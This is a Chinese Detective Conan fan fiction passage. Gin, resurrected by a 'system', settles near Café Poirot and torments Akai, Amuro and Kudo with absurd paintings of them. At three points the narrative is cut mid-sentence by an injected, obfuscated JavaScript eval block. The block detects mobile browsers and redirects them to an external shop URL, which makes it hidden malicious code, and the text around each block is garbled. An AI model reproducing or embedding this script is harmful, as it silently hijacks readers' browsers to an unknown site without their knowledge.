《[琴赤]你好,复活币给一下》 1. 第一幅画 清晨,天光乍破时分,一辆小型货车静悄悄地驶进米花町,停在波洛咖啡厅与毛利侦探事务所斜对面的民宅门前。 几个搬家公司的工作人员下车,动作轻快地将许多家具和生活用品搬进屋内,来来回回跑了三趟,终于搬完所有物品,像来时一样安静离去。 彼时,咖啡厅已经开门,习惯早起备餐的安室透走到门边看他们动作,眼里带着近乎职业病般的警惕,直到货车驶走,才轻轻松口气,又自嘲一笑。 他摇着头往回走,迈出两步忽然一顿,猛地转身望向货车刚刚停的地方,就见那栋房屋的金属雕花栅栏门从内打开,屋主人踱了出来,好像想熟悉环境般目光在四下逡巡一番后,猝不及防迎上他的视线。 安室透一时间找不出合适的词语形容他的眼神,清澈得一眼就能望到底,属于人类的情绪却被迷雾笼罩,深邃得令人心悸。 安室透的瞳仁几乎要像受惊的猫科动物眼睛一样收缩起来,那人却只是冲他礼貌性点头,而后关上了铁门。 他眨眨眼,抬手摸了摸额头,沾到一点冷汗。 安室透皱起眉头,试图回想那人长相,却更加惊愕地发现——自己刚刚居然完全没有记住他的模样! …… 在玄关处随意踢掉皮鞋,琴酒慵懒地窝进沙发,双腿交叠着搭上茶几,单手敲出一根烟来叼住、点火、深吸一口,一秒钟后被呛了个半死。 燥热烟气灌进新生的气管与肺部,烧得他整个胸腔都在发痒发痛。 鼻子呛得难受,嘴里也弥漫着难以忍受的苦味,口腔粘膜好像也被剧烈摩擦腐蚀,琴酒伸舌头一舔,居然已经微微肿起,舌尖抵上去就传来一阵剧痛。 他第一次知道抽烟是如此折磨的事,显得以前一晚上能抽掉一盒雪茄的自己是如此迟钝皮厚。抽点薄烟都这样,不用想他也知道烈酒下肚会是什么滋味。 一副崭新而健康的躯壳固然好,但因此失去抽烟喝酒的乐趣,实在也很难说是盈是亏。 “系统,”琴酒转搭腿为二郎腿,嗓音刺啦啦的,哑得厉害,“滚出来。” 一面半透明屏幕应声弹出,按照惯例先刷两万字的《用户协议》。 琴酒捂眼,支手挥了挥:“勾选同意和不再显示选项,关掉。” 系统老实照做,密密麻麻的字迹尽数退去后,屏幕上只剩下清清爽爽的几行: [福利]1.跟赤井秀一成为朋友(未完成) [福利]2.跟安室透成为朋友(未完成) [福利]3.跟工藤新一成为朋友(未完成) (上述任务不分先后) ……尽是些让人想死的话。 不是夸张修辞,而是写实用语。 今日是黑衣组织覆灭第五天,为此做出杰出贡献的红方铁三角做了甩手掌柜,把收尾工作交给大部队,自己回来收拾生活里的残局,比如向朋友们解释自己大号小号的具体情况。 而琴酒作为组织里被针对得最狠,死得也最早的那批人,在组织覆灭的第三天由死转生,灵魂强制绑定了一个所谓的“复活系统”。 这破系统话说得好听,什么做完十个任务,攒够十枚复活币就能重回人世,在此之前还可以预支部分奖励,借用重塑后的躯体在人世活动,方便完成任务,只额外收一枚复活币当利息。 给组织卖命那么久,琴酒确实早已生死看淡,可能活谁又想死呢?他想着不过十一个任务的事,总不至于比上刀山下火海开直升机轰东京塔更难更狂了,就勾选同意,答应了下来。 直到下一秒,系统刷出了前三个任务。 对,就是上面三个任务。 琴酒当时就想躺回组织总部废墟里,安详地闭眼并把土盖上。 可惜系统虽破但狗,硬是把他的灵魂塞进这具新身体,强行逼他按了手印,颇有他们BOSS生前强买强卖的劲。 琴酒暂时不是这狗东西的对手,只好穿着新躯壳,拿着系统给的新身份和卡,住进它凭空变出来安排给自己的住处——米花町五丁目,波洛咖啡厅斜对面。 天时——组织倒闭。 地利——近水楼台。 人和——任务相关人士都在米花町。 系统把路都给他铺得明明白白,无愧这三个任务前头的“福利”二字。 但琴酒不打算走,甚至开摆。 新身体的租用时限是一年,一年后一个任务都没完成,他就会魂飞魄散死得干干净净。 忍一年就能解脱,琴酒不缺这点耐心。 当然,这一年里他不会什么都不做,来都来了,不给三位老相识添点堵,他还是酒厂第一优秀员工琴酒吗? 虽然系统给他的身体上了权限锁,不允许他伤害任务目标,但谁说折腾人就只能伤害他们的人身安全呢? 琴酒又吸了口烟,缓缓吐出一股气流。 想到自己马上要做的事,他夹着烟,低低笑出了声。 下午三点,补了个好觉的琴酒提着画架画板画笔和颜料走进院子,随意地将东西摆好,又拎了张椅子出来,没骨头似的靠坐上去,拿起笔就开始蘸颜料。 今天是阴天,午后也阴阴的,灰云在天上连成一片,冷调的光线笼罩他过分瘦削高挑的身形,在他瓷白的皮肤上涂抹光影,如同塑出了一尊雕像。 回忆着以前经手过的印象派、抽象派、这派那派的名画,琴酒迅速调了几种易翻车不常用的色彩出来,手肘往扶手上一撑,眼神斜出栅栏外,恰好落在街道对面并肩走来的两人身上。 恢复原状的工藤新一似乎还有些不适应十七岁的身体,行走间肢体不太协调,偶尔会同手同脚或平地摔,正跟身边的人哭笑不得地说着什么。 赤井秀一单手插兜,侧头听他说话,时不时回应,或者抬手扶一下他。 他们的交谈声远远传来,落进琴酒耳里只剩零星的字句,只能听出是吐槽,内容听不太清。 琴酒反手托住下巴,左手捏起笔杆戳在画纸上,拉出一圈凹凸不平的弧度,隐约能看出是个人形轮廓,而后换了色彩,在轮廓上加加减减、添添抹抹,“缝”出一件驼色长大衣、同色长围巾,与一截毛衣下摆、黑色长裤和厚底靴。 把衣服完完整整地描绘出来,他看看赤井秀一又看看自己的画,满意点头,换了支细笔重新调色,开始为这身指向性极强的衣服配一张意识流相貌。 他无数次跟赤井秀一中门对狙,正经不正经的都对过,闭着眼都能精确摹出他的五官。 但记忆清晰不代表画技精湛,琴酒与油画的关系大概相当于他和工藤新一的交情,在前头加个负号,后面想放几个数字就放几个数字,加成无限不循环小数都行。 偏偏他又是个极富创造力和行动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168897|196792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力的人,加上系统给安排的“青年先锋画家”身份,画笔一扬放飞自我,硬生生就把赤井秀一那张英俊的脸扭成了常人无法设想的模样。 那狂野的笔触、粗犷的线条、大胆而充满艺术气息的配色,打上“不可名状”标签再上传网络、开放非商用授权,十本克苏鲁小说九本得用这张图当封面,还有一本估计是主角没有人形,只能遗憾错过。 椅子往后挪了挪,琴酒换了握笔的手抵着下巴,一面欣赏自己的巨作,一面查漏补缺,将图上除衣服外,但凡像人点的地方都改掉,直到再也找不出一丝“缺点”,他才放下画笔,起身伸了个长长的懒腰。 “咔哒”一声,他的后腰传来骨节摩擦的轻响,侧颈有根筋也抻了一下,泛起酸麻的钝痛。 琴酒僵了僵,慢慢放下双手,揉揉腰按按脖颈,面无表情。 “系统,你造的这具新身体质量真的很差。” “一年租金就一枚复活币,你还要什么自行车。” …… 吃过迟来的午饭,赤井秀一倚坐在窗边的长沙发里,看工藤新一被安室透以复健为借口抓去洗碗,用手指抓了抓略长过颈下的头发。 靠着料理台,安室透正指挥好友刷碗,脑海中忽然闪过早上的事,偏头说道:“今早有人搬进了斜对面那间空院子——你们对那间院子有印象吗?” 听他这样问,赤井秀一转头望了出去,工藤新一也停下磕磕绊绊的动作,仰身看向窗外。 “没有印象。”盯着那座被金属栅栏围起来的房屋许久,赤井秀一皱起眉毛,“工藤,你在这里住得久,以前有注意到过那栋房子吗?” 工藤新一缓慢地摇头:“没有。如果是新盖的,离得这么近,我们不可能一点印象都没有。而且它严丝合缝地嵌在左右两边的民居中间,看着也不像新房。” “那就奇怪了……”安室透摩挲下巴,想起屋子主人给自己的感觉,浅紫瞳眸间闪过一抹深思,“房子不重要,我想查查住在里面的人。” 赤井秀一扬眉:“为什么?” 他们都不是无的放矢的人,安室透会提出这种想法,势必经过深思熟虑,正因如此才格外令人好奇。 “我跟那个人远远地打过一次照面,他给我一种熟悉又危险的感觉。”安室透压低了声音,“像组织里的人。” 工藤新一呼吸一窒,神色立刻沉了下来:“那就查。” 组织倒下后,还有不少成员逃亡在外。虽然没了BOSS和琴酒,这些人成不了气候,但放任他们逃脱仍然遗害无穷,所以参与了围剿组织的各国都在通缉他们。 照理说,一般的组织成员是不敢出现在他们三人身边的,更遑论住在他们眼皮子底下。 可组织那么大,架不住真有这种脑子不正常的,考虑到组织成员被琴酒手把手带出的狂野行事风格,他们不能赌,也赌不起。 赤井秀一点点头,再次看向那栋房屋。 就在这时,他看见一道身影从栅栏后站起,先伸了个歪扭的懒腰,随即转过画板,连着画架一并搬到栏杆旁,露出夹在上方的新作品。 画纸一角被风吹得掀起,赤井秀一眯起眼仔细看过去,看清画中内容后,整个人瞬间愣住,手指用力收紧,抓得皮质沙发靠垫凹陷下去。 谁能告诉他,图上那个不可名状的人形轮廓怎么穿着他的衣服? 2. 正式认识 红方三人组走到院子栅栏外时,琴酒正在清洗颜料板。 院子左侧安了个水龙头,旁边盘着两圈水管,方便浇花浇草地用的。但他刚刚搬过来,院里空得只有他和一幅画,水龙头的用途自然也就发生了变化。 听到院外传来的脚步声,琴酒继续搓着塑料盘方格内的颜料,没有回头,权当没发现有“客”登门。 三人也不招呼他——主要是被那幅画震撼到无以言表,自顾自盯着画发怔,仿佛被戴夫吃掉大脑的僵尸。 画中人……不,画中这道轮廓已经离人很远了,尽管五官身形都保持着人类独有的特点,可细细看去,却有一种可拆卸式娃娃的手臂被安到头上的美感,笔触浓重粗粝,画风惊悚绝伦。 在看到这幅画之前,赤井秀一一直很尊重艺术。他尊重欣赏得来的艺术,也尊重看不明白的艺术,无论画家们把笔下人物画成什么鬼样,他都能在有工作要求的情况下做出别出心裁的夸奖,反正见鬼说鬼话本来也是他的特长。 ……前提是,这只鬼不能穿着他的衣服。 更具体地说,这只鬼不是以他本人为蓝本创作。 安室透和工藤新一一个左手托下巴,一个右手托下巴,盯着画看了几秒,手指终于忍不住捂到嘴上,发出轮胎漏气般的笑声。 赤井秀一额角青筋一突,眼神冷冷地斜向他们,却恰好与画上人影偏头斜眼的姿态重合,显得两边都更好笑了。 琴酒甩甩颜料盘上的水,将其放到廊边方木栏上晾着,才像是被某二位的笑声惊动似的回头,看着栅栏外那三张刻骨铭心的熟脸扬了扬眉。 “三位是来看画的?” 青年温冷低沉的声线响起,忙着看乐子的两人和乐子本人齐刷刷转眼,一张消瘦秀气、骨相锋利的脸便映入他们眼中,完全陌生且透着淡淡的阴郁,天生一副忧郁画家的派头,跟琴酒和他带出的兵风格迥异,毫无相似之处。 但与极端的陌生一并袭来的,还有说不清缘由的熟悉。他们看人并不只用眼睛,更重要的是一瞬间的直觉判断,这曾帮助他们看穿过许多对手,也让身处糟糕局势的他们无数次做出正确选择—— 因而在看到面前青年的这一刻,他们心中不约而同闪过了一道身影。 那个叼着烟点燃引信,在烟尘烈火中死得尸骨无存的家伙。 死前炸掉组织名下最大的研究院,给他们带来数不清麻烦的——琴酒。 笑意和气恼从三人脸上褪去,赤井秀一和安室透更是神经震颤,肌肉绷紧,习惯性把手探到后腰摸枪。 然而他们的手落了空,青年勾起的嘴角也令他们心里一空——那是张跟琴酒毫无关系的脸,也是个与琴酒毫无关联的笑容。 爱恨生死,浓墨重彩的反派头子死于他生前最后的杰作,面前之人和他形神都不相似,最多是一丝与他有关的错觉,一抹阴差阳错的涟漪。 尽管如此,他带来的震撼依然余响悠长。 赤井秀一握了握手指,眼神幽寂,像两口古井深深框着青年的身影,落空的手顺势掏出烟和打火机。 “唔。”他叼着烟,含糊地应声,“我是附近的住户,来这里吃饭,看到先生你的新……咳,新作品,觉得画里的……人跟我穿搭类似,所以停下看了看。” 赤井秀一本意是找个话头切入谈话,打探青年虚实,没料想一说到画就开始磕巴,连续磕巴两次后,多少探听的心思都没了。 被画影响的不止是他,旁边的安室透和工藤新一光是听着,也受到了强烈的精神污染,不约而同地抛开了初见青年时的冲击,捏着鼻骨开始忍笑。 青年,琴酒从他们压抑不住的微表情中看出端倪,知道自己的计划打出了近乎“开门红”的效果,眉眼弯起的弧度更大,阴郁气息稍散,变成了略显狂热的欣喜。 在赤井秀一见了鬼的表情下,他一把握住赤井秀一的手上下摇晃:“你看出来了?其实我创作这幅画的灵感正来源于你!我一看到你脑海中就浮现出这幅画的影子,下笔的时候没有一点阻塞,非常顺利就完成了!如果世上有缪斯……” “停!停!” 见两个损友的表情已经绷不住了,赤井秀一满脑袋青筋乱跳,赶忙用力反握住琴酒的手,打断他逐渐兴奋的话语。 “我……我很荣幸能成为你的……作品灵感。”赤井秀一满脸痛苦,“但是你的做法很可能涉嫌侵犯肖像权,我……” “侵犯肖像权?”琴酒微微歪头,似乎很是不解,“你是说除了这身衣服,我画的人还和你很像吗?不应该啊,我检查过的,一点也不像啊。” 赤井秀一剩下的话堵在支气管中,而安室透和工藤新一终于忍不住笑出了声。 “……呵呵。”赤井秀一尴尬而不失礼貌地笑道:“所以你的灵感来源其实是我的衣服对吗?” 琴酒微笑:“不是,就是你本人。只不过出于艺术加工和规避肖像权的需要,我将作品成品画成了你们现在看到的模样。” ……很高兴你也喜欢艺术并有自己的见解。 赤井秀一木着脸:“谢谢,我真高兴——我能买下这幅画吗?” 看似接受现实,实则是没招了。 画都画了,他不可能要求人家把自己的心血毁掉,那就只剩买下“珍藏”,断绝再有第四个人看到画的风险。 反正他又不差钱,即使这位非常印象派且一看就很贵的画家狮子大开口,他也付得起。 就当为艺术做贡献了。 赤井秀一想得周到,可架不住画家有自己的想法。 琴酒摇了摇头,抬手搭上画板顶端,用一种绝对诚挚、挑不出半丝虚假的表情温和说道:“这是我来到米花町后完成的第一幅作品,我不会卖,我还要将它和我之后的作品都摆在院子里,做一个免费的小型画展,让每个经过的人见证我的艺术,更见证我的成长。” “……” 越听他说赤井秀一的神情越麻木:“你要一直……把画放在院子里展出?” “是啊。”琴酒眨眨眼,“有什么问题吗?” 他说话时,一阵风忽然吹过,正好将香烟烟气刮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168898|196792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他脸上,他猝不及防地吸了一口绵厚的二手烟,新生的身体没扛住,偏过头呛咳了几声。 赤井秀一愣了愣,拿下还剩大半截的烟掐灭,紧紧攥住:“抱歉。” 他的情绪像海浪般起伏了一瞬,再去看身前的画,无奈占了上风:“先生以后会开个人画展吗?” “作品数量够的话,我会办的。”琴酒微微一笑,“这幅画也会成为展品之一,届时先生如果还住在这儿,可以来找我要一张门票。” 赤井秀一干笑:“挺好,我很期待。我是冲矢昴,暂住于米花町二丁目21番,方便问问你的名字吗?” 琴酒顿了顿,抵着画板的拇指摩挲半圈:“黑泽阵。” 赤井秀一的表情凝滞了几秒,安室透和工藤新一看他一眼,也报上名字,跟着他在琴酒这里留个“戳记”。 琴酒露出恰到好处的讶异:“你们是最近一直霸占新闻头条的那三位……破灭国际邪恶组织阴谋的英雄?” “不敢当。”工藤新一谦虚地笑笑,余光瞥见赤井秀一仍在怔忪,又接着说:“我们还有事,就不打扰了,再会。” 琴酒点头:“再会。” 目送三人走进波洛咖啡厅,他似笑非笑地垂下眼睫:“期待下次再会。” 一个死人,做什么都是合理的。 不能杀你们,我还不能搞抽象膈应你们吗? 等着,都不白来。 …… 三杯咖啡放上桌面,安室透清洗着杯具碗盘,与工藤新一对视一眼,再看向吧台前的赤井秀一,疑惑地问:“你怎么心神不宁的?” 赤井秀一抬了抬头:“什么?” 沙发上,工藤新一交叠双腿,倚着扶手看他:“那位画家——黑泽阵有问题?” “看不出问题。”赤井秀一摇头,端起咖啡抿了一口。 “那你怎么这副表情?”安室透用洗碗布搓洗杯子内壁,在吱扭吱扭的响声中回忆起“黑泽阵”的相貌,心头沉沉一坠,“不知道你们有没有同样的感觉,看到黑泽阵的第一眼,我想起了一个人。” 赤井秀一没有说话,工藤新一接道:“有,但我认为那是错觉。你能想象琴酒……” 说出这个名字时,他不由自主地停顿了一下:“……琴酒握着赤井的手说出他是自己的缪斯的话吗?我做过最恐怖的噩梦里都没有这么恐怖的画面。” 安室透想了想,轻笑道:“也是。” 赤井秀一的脸黑了下来:“我说你们俩少念叨两句,他就住在咖啡厅斜对面,会经常和你们打照面,别哪天你们两个也成了他的‘缪斯’,那就有意思了。” 安室透不以为意:“我们要真的能成为他的创作灵感,今天上画的就不会是你了。放心,黑泽先生的画展我一定捧场,工藤,到时候一起啊。” 工藤新一向他举杯表示赞同。 赤井秀一起身就走。 “诶,你干什么去?”工藤新一在他身后扬声问。 “换衣服。” 这身衣服是穿不了一点了! 3. 当下旧梦 傍晚时分,搬家公司的货车来了最后一趟,将琴酒购置的大件家具搬进屋里,代表着他正式在米花町定居。 一番折腾过后,系统赞助的两百万日元正好消耗一空,他从口袋里摸出仅剩的几个硬币,思考一下用它们能买到什么晚餐,才后知后觉地反应过来——他没钱了。 “啧。”琴酒不耐地皱眉,“系统,能再来二百万吗?算我再欠你一枚复活币。” 他并不打算完成任务,但这跟他理直气壮忽悠系统不冲突。虱子多了不怕痒,他都要死了,做起事来自然更加百无禁忌。 系统回复得简练而及时:不能。 “为什么?” 系统:这两百万不是凭空创造出来的,而是本系统从你的可动用资产中调取的,极限就是两百万,如果你还需要钱,只能自己赚取,或者想办法拿回你以前的资产。 琴酒:“……” 他抹了把脸,没有指责系统为何不早点告诉自己,也没有为自己的大手大脚懊悔。 在组织里干得久了,他什么牛鬼蛇神都带过,不为已过去之事懊恼内耗是他保持工作效率的秘诀之一,有那个抱怨的时间,一万个叛徒都处理好了。 拆开包装盒,琴酒抱着新电脑坐到沙发上,将花了大价钱额外购置的硬件软件安装好,调试完毕,就在以特定网络驱动的浏览器中熟练地输入一串网址。 点击回车键进入网站,屏幕上霎时绽开一张灰白的蛛网,“Abyss”几个字母从蛛网深处徐徐浮出,闪烁着金属质感的微光。 琴酒敲出一根烟叼上,淡淡的尼古丁味道让他意识清醒,注意力高度集中,得以用超过百分之九十用户的速度答完入网题,顺利跳转至网站首页。 这是一个有别于普通网络平台的网站,但并非暗网,而是由西西里岛上某个大家族出资建立、维护和把持的暗面领域,专门用于发布和接取特殊任务,别名“里世界”。 Abyss的注册条件极其严苛,而且不是所有账号都有出单或接单的资格,每一单委托的发布和接取都要经过流程复杂的审核,基本上只有稍微越线,但不是完全踩红线的委托才能通过。 不过只要通过审核,Abyss的接单率和成功率都是百分百,打款与提现速度同样领先世界,如果有人赖账,控制网站的家族还会派专人追回,最重要的是手续费低得几近于无。 正因如此,无论Abyss的审核制度多么严格,大部分游走于灰色地带的高手精英们都喜欢在这里出单接单。 琴酒是组织里唯一拥有Abyss账号的成员,空档期在这上面接过几个网站掌控者直发的任务,刚好有一笔委托费还没来得及提现,不多,也就六位数欧元,足够他衣食无忧地度过未来的一年时间。 在方框中输入账号密码,他敲了下回车键,跳出的却不是“登录成功”的提示,而是“号主已死亡,账号锁定中,禁止以任何形式盗号”的警告。 “麻烦。” 琴酒面无表情,移动鼠标点击提示框右下角的“申诉”按钮,开始进行繁琐费力的账号解封流程。 输密码、答题、已完成任务内容描述、验证人脸、虹膜和声纹…… 前面几项很顺利地度过,但到真人验证这一步,琴酒毫不意外地卡住了。 “系统。”他支着下巴懒懒地喊,“有没有办法变回我之前的脸和声音。” 系统不语,只是搓了团白光拍在他的脸上,光芒散去后,他在屏幕反光里看到“琴酒”的脸,清清嗓子,发出的也是熟悉的低哑嗓音。 除了头顶的一分钟倒计时,此刻的他和从前别无二致,放出去能吓死红方一群人。 琴酒冷漠地收回目光,对这张脸毫无眷恋,用最快速度完成验证后,就让系统撤掉了伪装。 申诉流程走完,屏幕中间多了个一小时倒计时,琴酒也不着急,将根本没抽的烟扔进垃圾桶,起身去厨房倒了杯直饮水。 等他端着水杯回来,倒计时已经消失,取而代之的是管理员对话框。对面发来了一串数字,是一个海外手机号。 琴酒几不可察地叹气:“真麻烦。” 坐回沙发,他摸出手机拨打这个号码,那边几乎是秒接,一道醇厚磁性的声线在话筒中温温柔柔地响起:“GIN?” “嗯。”琴酒喝了口水,散漫地翘起二郎腿,“是我。” 那边安静了几秒:“是你的语气,但不是你的声音。” “死里逃生是要付出代价的,何况我现在其实算是苟延残喘。”琴酒不紧不慢地摇晃水杯,“通过审核吧,我需要提出账号里的委托费。” “好,可我必须做最后的确认。” “说。” 那边顿了顿:“GIN,你的上一个床伴是谁?” 琴酒瞬间捏紧水杯,脸黑了下来。 声音的主人耐心等了两秒,又慢条斯理地问:“怎么,你不知道?” 琴酒按住太阳穴暴跳青筋,半晌,咬牙切齿道:“……Rye。” 话筒里传出了某人的低笑:“好嘛,不要生气,没有什么问题比这个更能证明你的身份了。放心,我马上给你解封账号,祝你苟延残喘的日子依旧愉快。” 说完,不等琴酒翻脸,他就干脆利落地挂了电话。 “……” 琴酒把手机扔向对面的沙发,生平第一次明白何为为生计所困。 他决定明天把赤井秀一画得再抽象一点。 * “阿嚏!——” 赤井秀一打了个喷嚏,手上一抖,喷壶斜向旁侧,几道水流在半空划出彩虹色的弧度,打湿了阳台。 枝条已经从花盆里攀到阳台木架上的不知名绿藤在风中摆动,一片如海的翠色中吐露零星几朵红花,撞色鲜亮,艳丽明媚。 他捏捏鼻子,忽略了心底一闪而过的寒意,只当是不慎被冷空气偷袭,并不放在心上。 这里是工藤宅,组织倒台后,他的任务已经完成,本该早点回去述职,却因为米花町还有一些组织余孽没有抓到而不得不继续留下协助开展抓捕行动,只能继续叨扰屋主人。 工藤新一其实不介意,毕竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168899|196792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他家够大,多一个赤井秀一不多。赤井秀一本来也住得心安理得,但在那个画家出现后……确切地说是听到那个画家的名字后,他忽然就生出了一丝没有缘由的不安。 黑泽阵,黑泽阵。 这个全世界最多五个人知道的名字,为什么偏偏在米花町出现? 这当然是同名,却不妨碍他在意。 他没办法不在意任何与琴酒有关的事。 放下喷壶,赤井秀一压好毛衣领口,回屋拿起床上的手机,拨了个电话。 “是我。帮我查个人。” “他叫黑泽阵,住在米花町二丁目,应该是一位画家。” “嗯,越快越好,最迟明天就要。” 三言两语说完要求,赤井秀一结束通讯,把自己扔在床上。 柔软的床铺将他托住,他闭着眼,不知过了多久,忽然感觉身边的床垫凹陷下去,把他带入梦境。 是的,梦境,他知道这是梦境。 没有睁眼,赤井秀一静静感受着身边人的一举一动。那人坐在床沿,又转身靠上床头,一阵窸窸窣窣的声音后,估计是叼了根烟,然后就是打火机按动的轻响,淡淡的烟草味在空气中飘荡。 他不说话,只是一根接一根地抽烟,呼吸、心跳与时不时的呼气声都在彰显他的疲倦,可赤井秀一能感觉到,他的身体依旧紧绷。 刚刚做完一桩委托,他的体力和精力都已见底。却也因为这样,他的警惕性拉到最高。 即使这里是委托者为他安排的安全屋,即使旁边躺着的是不久前与他并肩作战、同生共死的搭档。 里世界的“深渊”包容万物,FBI的传奇探员与黑衣组织的十佳员工也可以成为生死搭档。 赤井秀一用过很多假名,Rye、冲矢昴、诸星大,这次也不例外。 但他努力回想,却发现自己忘了这回用的是什么名字。 他只记得旁边这个人叫黑泽阵。 “还有一点收尾工作。” 那人——黑泽阵突然开口,声线沙哑低沉,尾音甚至是下沉的气音,落在赤井秀一耳中却像惊雷乍响。 “你来还是我来?” “深渊”的委托收尾是世界上最麻烦的工作,赤井秀一左臂的伤创隐隐作痛,放在以前,他不会自找麻烦,肯定会顺着他的询问把麻烦抛出去。 但安静片刻后,赤井秀一给出了理智之外的答案:“我来。” 黑泽阵“嗯”了一声:“这次的佣金四六分,你拿六成。” 赤井秀一依然没有睁眼,眼珠在眼皮下转了转,忽然轻笑出声。 “分成可以不变,”他说,“给我一根烟。” 黑泽阵静默半晌,带着厚茧的指腹蹭过他嘴唇,将香烟塞进他口中,紧接着俯下身去给他借火。 两根烟头接触,“刺啦”一声点燃,火光烁动。 浓烈的烟草味在赤井秀一口鼻间弥漫,但比这先来的是男人身上冷调的香味。 烈酒松香,冲鼻烧心。 赤井秀一猛然惊醒,用力睁开眼睛。 4. 第二幅画 晚上七点,波洛咖啡厅迎来入夜后第一位客人。安室透在吧台后磨咖啡豆,听到脚步声下意识地抬头,一句“欢迎光临”还没出口,就因为看清进来的人是谁而顿住。 “一份意面,一杯黑咖啡。”琴酒坐到窗边的位置,并不往吧台方向看一眼,随口点着菜,“意面要黑胡椒酱,加牛柳,别放西蓝花和小番茄。” “……好的。” 松开手磨咖啡机的把手,安室透系上围裙,开火煮面。 半开放式厨房让客人得以看到食物烹饪的全过程,这本是一个卖点,但在琴酒的眼神扫过来时,安室透却久违地感到一种没由来的紧绷,开始质疑这个卖点的存在是否真的合理。 好在琴酒的目光没有停留太久,扫他一眼就收回视线,低头回起手机短信。他单薄而优美的身形靠在窗边,手背支着下巴,修剪得宜的碎发下是平静舒展的眉眼,让店内暖调的灯光一勾勒,仿佛一幅意境幽静的油画。 ……咳,还是不提油画也罢。 一想到油画,安室透的脑海中就不由自主地浮现出黑泽先生的大作,登时露出一丝痛苦之色,差点把烧烤酱当黑胡椒酱倒进锅里。 他定了定神,专心准备食物,等面煮好收汁的空档把咖啡泡了,不到十分钟就将琴酒点的东西端上了桌。 “谢谢。” 面对这个几度交手的卧底,不死不休的敌人,琴酒情绪稳定得像死了一样,尝了口面觉得味道不错,还顺嘴夸了一句。 安室透回去继续处理咖啡豆,却不可避免地把一部分注意力放到琴酒身上,直至碗里的咖啡豆都磨完,他伸手摸了个空,才意识到自己居然看着个陌生人发了好一会儿的呆。 跟Abyss的管理员对接完收款方式,琴酒删掉他所有的短信,等了几分钟,收到银行发来的款项入账信息后才放下手机,专心吃起半凉的面。 意面做得很合他的胃口,安室透不仅是个好对手,也是个好厨子。 可黑咖啡一入口,琴酒的表情就瞬间僵住——这具新身体比他想的更难搞,烟酒不适应也就罢了,居然连以前喝惯了的黑咖啡都接受不了。 醇厚黏腻的苦涩在味蕾上漫开,琴酒仿佛喝了一口淤泥,连喉咙带气管都给严严实实地堵上,差点不能呼吸。 他勉强咽下嘴里这点液体,远远地推开杯子,将剩下的面条一扫而空,就差没端起盘子把酱汁都喝掉,才压下嘴里那过分浓郁的味道。 安室透不仅是好对手、好厨子,也是个良心生意人,泡咖啡很舍得用料,反正他以前喝过的黑咖啡绝对没这么浓。 琴酒毫不掩饰自己的举动,安室透一览无余。 也许是出于对客人的尊重,也许是出于提高营业额的考虑,安室透没怎么迟疑就冲着琴酒的背影问:“晚上喝黑咖啡容易睡不着,要换杯不那么浓的吗?比如摩卡或者拿铁。” 琴酒“嗯”了一声,顿了顿又补充道:“加奶加糖。” 不管生前死后,他都没有委屈自己的习惯。 安室透忽然有些想笑,摸摸鼻子掩去上扬的嘴角:“好。” 十分钟后,琴酒放下空了的杯子,走到吧台结账。 他付的是一份意面和两杯咖啡的钱,安室透却只收了意面和拿铁那份。 琴酒挑挑眉:“你们老板允许你这么做生意?” “我们老板只管流水好看,不在意店员怎么做生意。”安室透双手抱胸,灰蓝眸子里闪烁着浅浅的笑意,“黑泽先生如果满意我的服务,以后常来就是。” 琴酒喉间哼出一声轻笑:“好,那我就不跟你客气了。” “当然。”安室透向他颔首,“欢迎下次光临。” 琴酒走出大门,头也不回地摆摆手。 从咖啡厅出来,一点凉意在琴酒鼻尖化开,他抬头望天,才发现外面正在下雪,路灯暖光照着纷纷扬扬的雪粒,安恬而静谧。 双手揣进大衣口袋,他把脸往围巾里埋了埋,不紧不慢地踱向道路对面。 距离琴酒上一次如此悠闲地漫步街头已经是不知道多少年前的事,类似的经历少之又少,又相距此刻太远,他竟然生出了一种如在梦中的错觉。 他不喜欢虚度光阴的感觉,也可能不是不喜欢,而是习惯了忙碌的生活,毕竟自从给某位大侦探喂下半成品APTX4869,制造出组织最大劲敌后,他就再没有过个人生活。 如今死过一次,再重返人世,琴酒卸下了所有职责和任务,可以好好吃顿饭,可以在饭后散步回住处,虽然是陌生又古怪的滋味,但他似乎也并不讨厌…… 谁?! 隐秘的窥视感从暗处一闪而过,琴酒猛然扭头看向身边的房屋,瞳孔微缩,鹰隼般的目光刺向二楼紧闭的窗户,在那扇漆黑安静的窗上定格半晌,确认里面没有人影,且窥视感已经消失,才冷冷地眯了眯眼。 他理了理围巾,遮住下半张脸,不着痕迹地回头瞥了眼波洛咖啡厅,继续朝自己的新住处走去。 